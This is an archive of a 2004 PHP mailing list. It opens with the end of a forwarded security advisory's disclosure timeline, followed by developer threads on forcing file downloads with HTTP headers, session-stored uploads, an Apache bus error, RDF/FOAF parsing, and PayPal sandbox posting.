escapeshellcmd() and escapeshellarg() on Win32 platform has been resolved. A new PHP version (4.3.7) immune to this vulnerability is due to be released on June 3rd, 2004. VII. CVE INFORMATION A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not been assigned yet. VIII. DISCLOSURE TIMELINE 04/05/03 Vulnerability acquired by iDEFENSE 05/07/04 iDEFENSE clients notified 05/07/04 Initial vendor notification 05/17/04 Initial vendor response 06/07/04 Public disclosure IX. CREDIT 3APA3A is credited with this discovery. Get paid for vulnerability research http://www.idefense.com/poi/teams/vcp.jsp X. LEGAL NOTICES Copyright (c) 2004 iDEFENSE, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDEFENSE. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email customerservice at idefense.com for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html - -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (Cygwin) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFAxN9uQdvbi5oMr0cRAudWAJ4maczyY0qTbYdSGJqQWL5cDTXH6QCgmUqH lOaqsCfoJXqT9vKsozQMu8w= =I/6Q -----END PGP SIGNATURE----- From heli_travel at yahoo.com Mon Jun 7 18:14:08 2004 From: heli_travel at yahoo.com (haha) Date: Mon, 7 Jun 2004 15:14:08 -0700 (PDT) Subject: [nycphp-talk]Download Error -- need help! In-Reply-To: <40C4DF6E.9000305@jonbaer.net> Message-ID: <20040607221408.88111.qmail@web12209.mail.yahoo.com> Hi All: I try to program the download program. I got an very interesting issue: Here is the code: header("Content-Type: application/vnd.ms-excel; charset=$dest_charset"); print($report_content); But when I download and save ,the save window showed, I click on "Save", I got this waired message: " Internet Exploer was not able to open this Internet site. The requested site is either unavailable or cannot be found. Please try again later. " but if I remove the header: "header("Content-Type: application/vnd.ms-excel; charset=$dest_charset");" It print out all the contents. Please help! Thanks, Bill __________________________________ Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger. http://messenger.yahoo.com/ From jsiegel1 at optonline.net Tue Jun 8 07:27:39 2004 From: jsiegel1 at optonline.net (Jeff Siegel) Date: Tue, 08 Jun 2004 07:27:39 -0400 Subject: [nycphp-talk] PHP Solution for Website stats In-Reply-To: <20040606151201.GA13660@panix.com> References: <40BF5785.1070209@omnistep.com> <40BF9BAB.5020704@optonline.net> <20040605001346.GA3318@panix.com> <40C32A7E.3030706@optonline.net> <20040606151201.GA13660@panix.com> Message-ID: <40C5A2AB.6020004@optonline.net> The page names haven't changed since the site went live. But you are correct that **something** had to have changed since March. Here's the puzzle (and it addresses Tim's comment concerning the log not being updated correctly). A visitor has to fill out three forms in sequence. You would think that pages 1, 2, 3 would show up some time in the logs...but they do not...at least the "sequence" doesn't always show up. Sometimes only page1 and page 3 will show up...sometimes none of the pages show up even though the logs say that the subdirectory has been accessed. Jeff Daniel Convissor wrote: > Hi Jeff: > > On Sun, Jun 06, 2004 at 10:30:22AM -0400, Jeff Siegel wrote: > >>However, searching through the logs didn't help at all...the last entry >>in the logs for the particular pages in question is March...and it's now >>June. > > > I've never heard of hits missing in Apache's logs. Top that off with it > missing, the same hit consistently for an extended period of time. I'm > willing to bet that something changed in March. Perhaps an additional > server? The page got renamed? An additional page got introduced which > supplants the original one? > > This situation could be similar to the one you had several months ago > where you had an old script lying around which unvalidated sumissions were > coming from. > > --Dan > From tgales at tgaconnect.com Tue Jun 8 08:26:44 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Tue, 8 Jun 2004 08:26:44 -0400 Subject: [nycphp-talk] PHP Solution for Website stats In-Reply-To: <40C5A2AB.6020004@optonline.net> Message-ID: <001901c44d53$de81f660$e98d3818@oberon1> Jeff Siegel writes: > ... A visitor has to fill out three forms in > sequence. You would think that pages 1, 2, 3 would show up > some time in > the logs...but they do not...at least the "sequence" doesn't > always show > up. Sometimes only page1 and page 3 will show up...sometimes > none of the > pages show up even though the logs say that the subdirectory has been > accessed. I am assuming that you are using session tracking along the lines suggested in the recipe for working with multi-page forms (from PHP Cookbook). So, if you set up a separate error log you can send tracer messages to that log and see if that sheds any light on the situation. As a general footnote: A php developer named Gyozo Papp wrote some error handling stuff which might be of interest to readers of this list -- it is pretty usable (my opinion of course) http://freshmeat.net/projects/errorhandler T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From heli_travel at yahoo.com Tue Jun 8 09:18:07 2004 From: heli_travel at yahoo.com (haha) Date: Tue, 8 Jun 2004 06:18:07 -0700 (PDT) Subject: [nycphp-talk] need help! In-Reply-To: <20040607221408.88111.qmail@web12209.mail.yahoo.com> Message-ID: <20040608131807.24291.qmail@web12210.mail.yahoo.com> Hi All: Realy no body know about this problem? It works for netscape, but it doesn't work for IE. Thanks again. Bill --- haha wrote: > Hi All: > > I try to program the download program. > I got an very interesting issue: > Here is the code: > > header("Content-Type: application/vnd.ms-excel; > charset=$dest_charset"); > print($report_content); > > But when I download and save ,the save window showed, I click > on > "Save", I got this waired message: > > " > Internet Exploer was not able to open this Internet site. The > requested site is either unavailable or cannot be found. > Please > try again later. > " > but if I remove the header: > "header("Content-Type: application/vnd.ms-excel; > charset=$dest_charset");" > > It print out all the contents. > > Please help! > > Thanks, > > Bill > > > > > > > __________________________________ > Do you Yahoo!? > Friends. Fun. Try the all-new Yahoo! Messenger. > http://messenger.yahoo.com/ > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk __________________________________ Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger. http://messenger.yahoo.com/ From phillip.powell at adnet-sys.com Tue Jun 8 09:42:36 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Tue, 08 Jun 2004 09:42:36 -0400 Subject: [nycphp-talk] need help! In-Reply-To: <20040608131807.24291.qmail@web12210.mail.yahoo.com> References: <20040608131807.24291.qmail@web12210.mail.yahoo.com> Message-ID: <40C5C24C.5040607@adnet-sys.com> You have to change your headers to force them to download for IE as well as for other browsers. You will need to do more with header() to do so: function &generateForceDownloadHeaders($fullFilePath = '') { // STATIC VOID METHOD $file = ($this->fullFilePath) ? $this->fullFilePath : $fullFilePath; if (is_file($file)) { $filesize = @filesize($file); header('Content-Disposition: attachment; filename="' . substr($file, strrpos($file, '/') + 1, strlen($file)) . '"'); header("Content-Length: $filesize"); header('Content-Type: application/octet-stream'); header('Content-Transfer-Encoding: binary'); header('Pragma: no-cache'); header('Expires: 0'); @readfile($file); @set_time_limit(600); } } Phil haha wrote: >Hi All: > >Realy no body know about this problem? >It works for netscape, but it doesn't work for IE. > >Thanks again. > >Bill > >--- haha wrote: > > >>Hi All: >> >>I try to program the download program. >>I got an very interesting issue: >>Here is the code: >> >>header("Content-Type: application/vnd.ms-excel; >>charset=$dest_charset"); >>print($report_content); >> >>But when I download and save ,the save window showed, I click >>on >>"Save", I got this waired message: >> >>" >>Internet Exploer was not able to open this Internet site. The >>requested site is either unavailable or cannot be found. >>Please >>try again later. >>" >>but if I remove the header: >>"header("Content-Type: application/vnd.ms-excel; >>charset=$dest_charset");" >> >>It print out all the contents. >> >>Please help! >> >>Thanks, >> >>Bill >> >> >> >> >> >> >>__________________________________ >>Do you Yahoo!? >>Friends. Fun. Try the all-new Yahoo! Messenger. >>http://messenger.yahoo.com/ >>_______________________________________________ >>talk mailing list >>talk at lists.nyphp.org >>http://lists.nyphp.org/mailman/listinfo/talk >> >> > > > > > >__________________________________ >Do you Yahoo!? >Friends. Fun. Try the all-new Yahoo! Messenger. >http://messenger.yahoo.com/ >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > > > -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From jsiegel1 at optonline.net Tue Jun 8 09:54:38 2004 From: jsiegel1 at optonline.net (Jeff Siegel) Date: Tue, 08 Jun 2004 09:54:38 -0400 Subject: [nycphp-talk] PHP Solution for Website stats In-Reply-To: <001901c44d53$de81f660$e98d3818@oberon1> References: <001901c44d53$de81f660$e98d3818@oberon1> Message-ID: <40C5C51E.3070008@optonline.net> It's becoming obvious that I'll have to stick some sort of code in there to watch what is going on. And yes...I'm using sessions. Jeff Tim Gales wrote: > Jeff Siegel writes: > > >>... A visitor has to fill out three forms in >>sequence. You would think that pages 1, 2, 3 would show up >>some time in >>the logs...but they do not...at least the "sequence" doesn't >>always show >>up. Sometimes only page1 and page 3 will show up...sometimes >>none of the >>pages show up even though the logs say that the subdirectory has been >>accessed. > > > I am assuming that you are using session tracking along > the lines suggested in the recipe for working > with multi-page forms (from PHP Cookbook). > > So, if you set up a separate error log > you can send tracer messages to that log > and see if that sheds any light on the > situation. > > As a general footnote: > > A php developer named Gyozo Papp wrote some error > handling stuff which might be of interest to readers > of this list -- it is pretty usable (my opinion of course) > > http://freshmeat.net/projects/errorhandler > > T. Gales & Associates > 'Helping People Connect with Technology' > > http://www.tgaconnect.com > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From danielc at analysisandsolutions.com Tue Jun 8 10:14:37 2004 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Tue, 8 Jun 2004 10:14:37 -0400 Subject: [nycphp-talk] PHP Solution for Website stats In-Reply-To: <40C5A2AB.6020004@optonline.net> References: <40BF5785.1070209@omnistep.com> <40BF9BAB.5020704@optonline.net> <20040605001346.GA3318@panix.com> <40C32A7E.3030706@optonline.net> <20040606151201.GA13660@panix.com> <40C5A2AB.6020004@optonline.net> Message-ID: <20040608141437.GA21846@panix.com> Hi Jeff: On Tue, Jun 08, 2004 at 07:27:39AM -0400, Jeff Siegel wrote: > You would think that pages 1, 2, 3 would show up some time in > the logs...but they do not...at least the "sequence" doesn't always show > up. I bet your ISP implemented caching servers or multiple servers and their configuration is causing the location of the log information to change or is misconfigured so hits don't get properly logged in the designated location. ... snip ... --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 From jsiegel1 at optonline.net Tue Jun 8 10:36:46 2004 From: jsiegel1 at optonline.net (Jeff Siegel) Date: Tue, 08 Jun 2004 10:36:46 -0400 Subject: [nycphp-talk] PHP Solution for Website stats In-Reply-To: <20040608141437.GA21846@panix.com> References: <40BF5785.1070209@omnistep.com> <40BF9BAB.5020704@optonline.net> <20040605001346.GA3318@panix.com> <40C32A7E.3030706@optonline.net> <20040606151201.GA13660@panix.com> <40C5A2AB.6020004@optonline.net> <20040608141437.GA21846@panix.com> Message-ID: <40C5CEFE.5050903@optonline.net> > I bet your ISP implemented caching servers or multiple servers and > their configuration is causing the location of the log information to > change or is misconfigured so hits don't get properly logged in the > designated location. Now if I can get the ISP to confess to his sins. ;) Jeff From heli_travel at yahoo.com Tue Jun 8 10:59:04 2004 From: heli_travel at yahoo.com (haha) Date: Tue, 8 Jun 2004 07:59:04 -0700 (PDT) Subject: [nycphp-talk] need help! In-Reply-To: <40C5C24C.5040607@adnet-sys.com> Message-ID: <20040608145904.1072.qmail@web12207.mail.yahoo.com> Thanks, Phil, your code is a great help, but it doesn't work for me. I finally got this, and it works. Thank you for your great help!! header("Content-Type: application/vnd.ms-excel; charset=$dest_charset"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); print($report_content); This code works for both IE and Netscape. It looks lilke a cach issue. --- Phillip Powell wrote: > You have to change your headers to force them to download for > IE as well > as for other browsers. You will need to do more with header() > to do so: > > function &generateForceDownloadHeaders($fullFilePath = '') > { > // STATIC VOID METHOD > $file = ($this->fullFilePath) ? $this->fullFilePath : > $fullFilePath; > if (is_file($file)) { > $filesize = @filesize($file); > header('Content-Disposition: attachment; filename="' > . > substr($file, strrpos($file, '/') + 1, strlen($file)) . '"'); > header("Content-Length: $filesize"); > header('Content-Type: application/octet-stream'); > header('Content-Transfer-Encoding: binary'); > header('Pragma: no-cache'); > header('Expires: 0'); > @readfile($file); > @set_time_limit(600); > } > } > > Phil > > haha wrote: > > >Hi All: > > > >Realy no body know about this problem? > >It works for netscape, but it doesn't work for IE. > > > >Thanks again. > > > >Bill > > > >--- haha wrote: > > > > > >>Hi All: > >> > >>I try to program the download program. > >>I got an very interesting issue: > >>Here is the code: > >> > >>header("Content-Type: application/vnd.ms-excel; > >>charset=$dest_charset"); > >>print($report_content); > >> > >>But when I download and save ,the save window showed, I > click > >>on > >>"Save", I got this waired message: > >> > >>" > >>Internet Exploer was not able to open this Internet site. > The > >>requested site is either unavailable or cannot be found. > >>Please > >>try again later. > >>" > >>but if I remove the header: > >>"header("Content-Type: application/vnd.ms-excel; > >>charset=$dest_charset");" > >> > >>It print out all the contents. > >> > >>Please help! > >> > >>Thanks, > >> > >>Bill > >> > >> > >> > >> > >> > >> > >>__________________________________ > >>Do you Yahoo!? > >>Friends. Fun. Try the all-new Yahoo! Messenger. > >>http://messenger.yahoo.com/ > >>_______________________________________________ > >>talk mailing list > >>talk at lists.nyphp.org > >>http://lists.nyphp.org/mailman/listinfo/talk > >> > >> > > > > > > > > > > > >__________________________________ > >Do you Yahoo!? > >Friends. Fun. Try the all-new Yahoo! Messenger. > >http://messenger.yahoo.com/ > >_______________________________________________ > >talk mailing list > >talk at lists.nyphp.org > >http://lists.nyphp.org/mailman/listinfo/talk > > > > > > > > > -- > --------------------------------------------------------------------------------- > Phil Powell > Multimedia Programmer > BPX Technologies, Inc. > #: (703) 709-7218 x107 > Fax: (703) 709-7219 > > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk __________________________________ Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger. http://messenger.yahoo.com/ >From hans not junk at nyphp.com Tue Jun 8 11:01:19 2004 Return-Path: Received: from ehost011-1.intermedia.net (ehost011-1.intermedia.net [64.78.21.3]) by virtu.nyphp.org (Postfix) with ESMTP id A9BC8A862F for ; Tue, 8 Jun 2004 11:01:19 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [nycphp-talk]Download Error -- need help! Date: Tue, 8 Jun 2004 08:01:15 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F8702704F96 at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk]Download Error -- need help! Thread-Index: AcRM3MUffPhyPuciTPmYJroLz7JpugAjE8+A From: "Hans Zaunere" To: "NYPHP Talk" X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Jun 2004 15:01:20 -0000 > I try to program the download program. > I got an very interesting issue: > Here is the code: >=20 > header("Content-Type: application/vnd.ms-excel;=20 > charset=3D$dest_charset"); print($report_content);=20 >=20 > But when I download and save ,the save window showed, I click=20 > on "Save", I got this waired message: >=20 > " > Internet Exploer was not able to open this Internet site. The=20 > requested site is either unavailable or cannot be found.=20 > Please try again later. > " > but if I remove the header: > "header("Content-Type: application/vnd.ms-excel;=20 > charset=3D$dest_charset");" >=20 > It print out all the contents. It's because Internet Explorer honors the no-cache and no-store pragmas. This equates to it not wanting to save anything to disk. When downloading files - in a RFC standard world - you should add some headers to allow caching/downloading. Such as header('Cache-Control: must-revalidate', TRUE); header('Pragma: ', TRUE); H From drydell at att.net Tue Jun 8 11:37:05 2004 From: drydell at att.net (drydell at att.net) Date: Tue, 08 Jun 2004 15:37:05 +0000 Subject: [nycphp-talk] need help! Message-ID: <060820041537.17047.40C5DD210000585E00004297216038311604040A0B979D0B@att.net> Another thing to do is to make sure the client doesn't know how to handle that particular MIME type (such as loading Excel for vnd.ms-excel). One non-existant MIME type that's commonly used is force-download. This is what I do in my download script, which works in most browsers: header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Cache-control: private"); header("Pragma: no-cache"); header("Content-Type: application/force-download"); header('Content-Length: '.strlen($data) ); header('Content-Disposition: attachment; filename="'.$filename.'"'); echo $data; -------------- next part -------------- An HTML attachment was scrubbed... URL: From phillip.powell at adnet-sys.com Tue Jun 8 16:23:56 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Tue, 08 Jun 2004 16:23:56 -0400 Subject: [nycphp-talk] "Approach Review" for storing $_FILES in session variable and using later Message-ID: <40C6205C.7010000@adnet-sys.com> The approach I took I thought would be the best way to handle this, but I'm running into a snag which I'll explain in a minute. I have a page with form elements whereby the user can upload a file. The user can also optionally associate this to-be-uploaded file with metadata. When the user chooses to associate the to-be-uploaded file with metadata, they are taken to another page to do so, all the while, I am doing this: $_SESSION['uploadedFile'] = serialize($_FILES); I am retaining the $_FILES collection because you are not yet submitting anything but you want to not have to have the user re-submit the file over and over ad infinitum. So on doing that, once they're done they hit the "Submit" button to do their duty. I also have an Accepter class that will check all form data for validation. If $_FILES exists (the user submitted a file), it needs to check to see if the file data is correct. Everything works just fine... except for one problem: is_uploaded_file($_FILES[$section]['tmp_name']) is always false because while $_FILES[$section]['tmp_name'] exists, it's obviously.. not uploaded, at least not immediately. I re-retrieve and repopulated $_FILES as so: if ($hasUploadedFileInAssoc && !$willDisassocNewAssocFile) $_FILES = unserialize($_SESSION['uploadedFile']); then you finally get to: if (!is_uploaded_file($_FILES[$section]['tmp_name'])) $this->setErrorArray(array('action' => 'File was not uploaded')); This line is constantly false even though I did upload the file.. just not immediately before I get to the page with this line; it was uploaded a while ago and all information saved in a $_SESSION variable to be retrieved later. What I'm looking for is a "code review" or an "approach review" as to whether or not I handled this request properly inasmuch as storing $_FILES into a session variable and retrieving it later to allow the user to upload a file and submit data anytime they want to on it. This would help me moreso than a solution at this point to the is_uploaded_file() problem (though that's always welcomed too!) Thanx Phil -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From chubbard at next-online.net Tue Jun 8 16:25:15 2004 From: chubbard at next-online.net (Chris Hubbard) Date: Tue, 08 Jun 2004 13:25:15 -0700 Subject: [nycphp-talk] exit signal Bus error (10) Message-ID: All, I've spent a bunch of time trying to trace this error. Has anyone seen it or something like it? Line in /var/log/httpd/ error_log: [Mon Jun 7 16:33:43 2004] [notice] child pid 7856 exit signal Bus error (10) where 7856 is a child of httpd Environment: Mac OS X 10.3.3 PHP 4.3.6 & 4.3.7 Apache 1.3.29 I've been able to trace (using gdb) the error to a function in zend_hash.c, but I can't find where this function is being called from and why one of the values is 0x3 (seems like a bad page). I've not been able to build a test case that isolates this error. I've got a test case that works on one box, but not on another (similarly, almost identically) configured OS X box. It seems to happen after the page has been built and sent to the browser, as it doesn't affect the display of the HTML (using smarty). Interesting side note, when this error occurs no entries are written to the access_log, which makes sense, assuming the apache child is dying before it can write to the access_log. Thoughts? Chris Hubbard chubbard at next-online.net 425 563 4153 From adam at trachtenberg.com Tue Jun 8 16:48:03 2004 From: adam at trachtenberg.com (Adam Maccabee Trachtenberg) Date: Tue, 8 Jun 2004 16:48:03 -0400 (EDT) Subject: [nycphp-talk] exit signal Bus error (10) In-Reply-To: References: Message-ID: On Tue, 8 Jun 2004, Chris Hubbard wrote: > I've not been able to build a test case that isolates this error. I've > got a test case that works on one box, but not on another (similarly, > almost identically) configured OS X box. If you've successfully generated a gdb backtrace, you can probably go ahead and file a PHP bug report even if your test case doesn't work on every machine. Someone may still be able to figure out what the bug is and fix it. However, I would be sure to upgrade to the latest snapshot before generating final bt, because that's probably the first reply you'll get otherwise. :) -adam -- adam at trachtenberg.com author of o'reilly's php cookbook avoid the holiday rush, buy your copy today! From nyphp at enobrev.com Tue Jun 8 16:57:34 2004 From: nyphp at enobrev.com (Mark Armendariz) Date: Tue, 8 Jun 2004 16:57:34 -0400 Subject: [nycphp-talk] "Approach Review" for storing $_FILES in session variable and using later In-Reply-To: <40C6205C.7010000@adnet-sys.com> Message-ID: <20040608205749.E817BA862D@virtu.nyphp.org> > What I'm looking for is a "code review" or an "approach > review" as to whether or not I handled this request properly > inasmuch as storing $_FILES into a session variable and > retrieving it later to allow the user to upload a file and > submit data anytime they want to on it. This would help me > moreso than a solution at this point to the > is_uploaded_file() problem (though that's always welcomed too!) > > Thanx > Phil Well, from what I know, the temporary uploaded file is deleted as soon as the form request is finished, which would make the file info in the session no longer valid upon the next page load (I may be wrong in this). I'd recommend storing the file in your own temporary directory and adding it's location to your file db. Then once the user finishes the details form, move the file to the permanent location and update the meta data, or remove it accordingly. Mark From phillip.powell at adnet-sys.com Tue Jun 8 17:36:03 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Tue, 08 Jun 2004 17:36:03 -0400 Subject: [nycphp-talk] "Approach Review" for storing $_FILES in session variable and using later In-Reply-To: <20040608205749.E817BA862D@virtu.nyphp.org> References: <20040608205749.E817BA862D@virtu.nyphp.org> Message-ID: <40C63143.3050609@adnet-sys.com> Mark Armendariz wrote: >>What I'm looking for is a "code review" or an "approach >>review" as to whether or not I handled this request properly >>inasmuch as storing $_FILES into a session variable and >>retrieving it later to allow the user to upload a file and >>submit data anytime they want to on it. This would help me >>moreso than a solution at this point to the >>is_uploaded_file() problem (though that's always welcomed too!) >> >>Thanx >>Phil >> >> > >Well, from what I know, the temporary uploaded file is deleted as soon as >the form request is finished, which would make the file info in the session >no longer valid upon the next page load (I may be wrong in this). I'd >recommend storing the file in your own temporary directory and adding it's >location to your file db. Then once the user finishes the details form, >move the file to the permanent location and update the meta data, or remove >it accordingly. > >Mark > > > > Cool thanx, I'll remember that next time. As it is in the interim I was in a meeting with the client (being that they are a federal gov't agency, it's already a miracle that you could do that) and this is what happened: What I did instead was to appeal to their governmental side (the client is a federal government agency, this is DC!): I explained that replacing an existing image w/o submittal was a security hole because it allowed for files to just "float" in a temporary directory and not necessarily be immediately accessible without CRON-based overhead. Simpler solution: one page is for uploading only, the other for metadata editing only. You cannot replace an existing image. You can still delete the image (w/ metadata if found). Phil >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > > > -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From joel at tagword.com Tue Jun 8 19:11:19 2004 From: joel at tagword.com (Joel De Gan) Date: Tue, 08 Jun 2004 19:11:19 -0400 Subject: [nycphp-talk] FOAF etc... Message-ID: <1086736279.11816.8.camel@bezel> Not sure how many of you are on the RDFDEV list, for those of you who are then please disregard. Otherwise there has been a large thread going on for sometime about the PHP RAP parser and various things to do with what is being called the FOAFnet. I wrote up a rebuttal for several developers who are kind of taking the ideas and running here: http://blog.peoplesdns.com/node/view/11 It may be interesting to other people as well for what is currently happening with FOAF and php systems that have to support them. In case you are not aware, I am doing the peoples DNS (peoplesdns.com) for Broadband mechanics (people aggregator) and if you happen to be going to FOAFcon in Ireland in early Sept I most likely will be seeing you there. If you run a project that could make use of, or uses, FOAF please let me know and I can get you in touch with code etc which will be developed for the FOAFnet. cheers -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From csnyder at chxo.com Tue Jun 8 21:41:39 2004 From: csnyder at chxo.com (Chris Snyder) Date: Tue, 08 Jun 2004 21:41:39 -0400 Subject: [nycphp-talk] FOAF etc... In-Reply-To: <1086736279.11816.8.camel@bezel> References: <1086736279.11816.8.camel@bezel> Message-ID: <40C66AD3.5070408@chxo.com> Joel De Gan wrote: >Otherwise there has been a large thread going >on for sometime about the PHP RAP parser and various things to do with >what is being called the FOAFnet. > Not sure what RAP looks like these days, but a year ago I wrote an extension to it that converts RDF into PHP objects (and back, I believe). It has been languishing (oh, the languish!) since then, but if it helps you at all I'd be happy to help dust it off and bring it up to snuff. Then again, perhaps Chris Bizer took my lead and wrote it into the RDF API for PHP... like I said, been a while. http://chxo.com/be2/software/rdfworld.html chris. From joel at tagword.com Wed Jun 9 12:12:32 2004 From: joel at tagword.com (Joel De Gan) Date: Wed, 09 Jun 2004 12:12:32 -0400 Subject: [nycphp-talk] FOAF etc... In-Reply-To: <40C66AD3.5070408@chxo.com> References: <1086736279.11816.8.camel@bezel> <40C66AD3.5070408@chxo.com> Message-ID: <1086797552.11816.20.camel@bezel> I have actually downloaded and looked at that a few weeks ago :) A lot of the issues here are if we even should be using RAP as it is huge and not well suited to the task at hand (simple parsing, basically just pulling a few fields). If anyone knows of any PHP rdf->triples parsers that are not RAP or the xmlclasses one I pointed out, that could really help out in what we are trying to do with thise. Thanks -Joel On Tue, 2004-06-08 at 21:41, Chris Snyder wrote: > Joel De Gan wrote: > > >Otherwise there has been a large thread going > >on for sometime about the PHP RAP parser and various things to do with > >what is being called the FOAFnet. > > > > Not sure what RAP looks like these days, but a year ago I wrote an > extension to it that converts RDF into PHP objects (and back, I believe). > > It has been languishing (oh, the languish!) since then, but if it helps > you at all I'd be happy to help dust it off and bring it up to snuff. > Then again, perhaps Chris Bizer took my lead and wrote it into the RDF > API for PHP... like I said, been a while. > > http://chxo.com/be2/software/rdfworld.html > > chris. > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From tgales at tgaconnect.com Wed Jun 9 11:09:39 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Wed, 9 Jun 2004 11:09:39 -0400 Subject: [nycphp-talk] FOAF etc... In-Reply-To: <1086797552.11816.20.camel@bezel> Message-ID: <001c01c44e33$c9e34570$e98d3818@oberon1> Joel DeGan writes: > If anyone knows of any PHP rdf->triples parsers that are not > RAP or the xmlclasses one I pointed out, that could really > help out in what we are trying to do with thise. > Is there something you don't like about that particular rdf parser(the one in PHP XML Classes)? T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From joel at tagword.com Wed Jun 9 12:58:33 2004 From: joel at tagword.com (Joel De Gan) Date: Wed, 09 Jun 2004 12:58:33 -0400 Subject: [nycphp-talk] FOAF etc... In-Reply-To: <001c01c44e33$c9e34570$e98d3818@oberon1> References: <001c01c44e33$c9e34570$e98d3818@oberon1> Message-ID: <1086800313.11820.40.camel@bezel> Not really, but more options are better :) Basically, I have not got to the point of benchmarking it yet, so I don't know for certain about it, pretty much have looked around but something things get missed. -joel On Wed, 2004-06-09 at 11:09, Tim Gales wrote: > Joel DeGan writes: > > If anyone knows of any PHP rdf->triples parsers that are not > > RAP or the xmlclasses one I pointed out, that could really > > help out in what we are trying to do with thise. > > > Is there something you don't like about > that particular rdf parser(the one in > PHP XML Classes)? > > T. Gales & Associates > 'Helping People Connect with Technology' > > http://www.tgaconnect.com > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From csnyder at chxo.com Wed Jun 9 12:01:31 2004 From: csnyder at chxo.com (Chris Snyder) Date: Wed, 09 Jun 2004 12:01:31 -0400 Subject: [nycphp-talk] FOAF etc... In-Reply-To: <1086797552.11816.20.camel@bezel> References: <1086736279.11816.8.camel@bezel> <40C66AD3.5070408@chxo.com> <1086797552.11816.20.camel@bezel> Message-ID: <40C7345B.5010500@chxo.com> Joel De Gan wrote: >If anyone knows of any PHP rdf->triples parsers that are not RAP or the >xmlclasses one I pointed out, that could really help out in what we are >trying to do with thise. > > How helpful is it to say "PHP5" at this point? We should be able to wire up a pretty good RDF-combobulator in 5, without any external libraries. Just a class that knows how to work with triples and a very basic understanding of how to instantiate an rdf-described universe at runtime. From tgales at tgaconnect.com Wed Jun 9 12:09:32 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Wed, 9 Jun 2004 12:09:32 -0400 Subject: [nycphp-talk] FOAF etc... In-Reply-To: <40C7345B.5010500@chxo.com> Message-ID: <001e01c44e3c$27660c20$e98d3818@oberon1> Chris Snyder writes: > We should be able to wire up a pretty > good RDF-combobulator in 5 I thought the proper term there was: RDF->*dis*combobulator T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From wefisher at open-world.com Wed Jun 9 15:35:41 2004 From: wefisher at open-world.com (William E. Fisher) Date: Wed, 9 Jun 2004 15:35:41 -0400 Subject: [nycphp-talk] Posting data to PayPal from a script using sockets Message-ID: <006101c44e58$f3cdb5d0$0801a8c0@DELL4100> Here is a question from someone (me) who is in way over his head. I am in search of some help in posting form variables to a third party server from a script. The third party server is PayPal (sandbox) and the post would be the initial variables that are needed to initiate an IPN transaction. I am trying sockets to connect to the paypal server. I had some success but not yet a complete transaction. The following code is able to open a socket on the sandbox server and write the post header and data to the server. And I am able to get and read a response from the the sandbox server. However, I am not able to complete the transaction. Despite being logged into developer central, I receive the message "To access the PayPal Sandbox, please log in to PayPal Developer Central. " rather than the payment details page. No activity is recorded in the seller's account, and my ipn script at the notify_url is not hit. Is someone familiar enough with either using sockets or using paypal that he/she might be able to provide some direction or a solution? Any help will be 